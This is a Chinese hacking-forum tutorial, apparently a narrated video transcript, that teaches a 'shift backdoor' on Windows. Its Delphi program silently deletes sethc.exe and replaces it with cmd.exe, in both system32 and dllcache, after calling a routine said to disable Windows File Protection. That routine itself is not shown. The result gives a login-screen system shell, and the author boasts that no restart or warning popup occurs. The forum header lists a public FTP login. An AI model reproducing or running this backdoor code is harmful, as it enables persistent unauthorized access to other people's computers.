-----------------------------------------------------------
新世纪网安动画投稿方式:
投稿方法一:
FTP://www.520hack.com
账号:520hack  密码:520hack
投稿方法二:
邮箱:  www520hack@126.com
投稿收录奖励情况详见:http://bbs.520hack.com/read.php?tid=81824
制作原创教程,可免费得论坛邀请码.
举报教程错误,病毒捆马,欺骗性,骗钱,卖软件类(本站将无条件删除)
举报地址:http://bbs.520hack.com/thread.php?fid=105
举报骗子邮箱:www520hack@126.com
--------------------------------------------------------------大家好, 我是小勇紫夜, 今天给大家做一个DELPHI的小教程

教程名称:

DELPHI关闭windows文件保护(不弹窗) shift后门

代码:

program Project1;

uses
  Forms,
  windows,
  Unit1 in 'Unit1.pas' {Form1};

{$R *.res}
procedure move;
begin
winexec(pchar('cmd.exe /c del c:\windows\system32\sethc.exe /q /s'),sw_hide);
winexec(pchar('cmd.exe /c del c:\windows\system32\dllcache\sethc.exe /q /s'),sw_hide);
winexec(pchar('cmd.exe /c copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe'),sw_hide);
winexec(pchar('cmd.exe /c copy c:\windows\system32\cmd.exe c:\windows\system32\dllcache\sethc.exe'),sw_hide);
end;

begin
kill; //关键, 关闭windows文件保护函数,  不用重启
sleep(1000);
move;
end.

代码具体意义就不用我多说了,很简单,

看一下效果,

等等先,  看的时候快进一下

最近开了一个站点,www.cnad110.com 对网络编程感兴趣的可以来看看

我看一下效果,

再运行一下看一下,

看到,   成功了,

看到没,现在的文件保护不起作用了, 不用重启,不弹提示窗口,

好了, 就这样, 拜拜,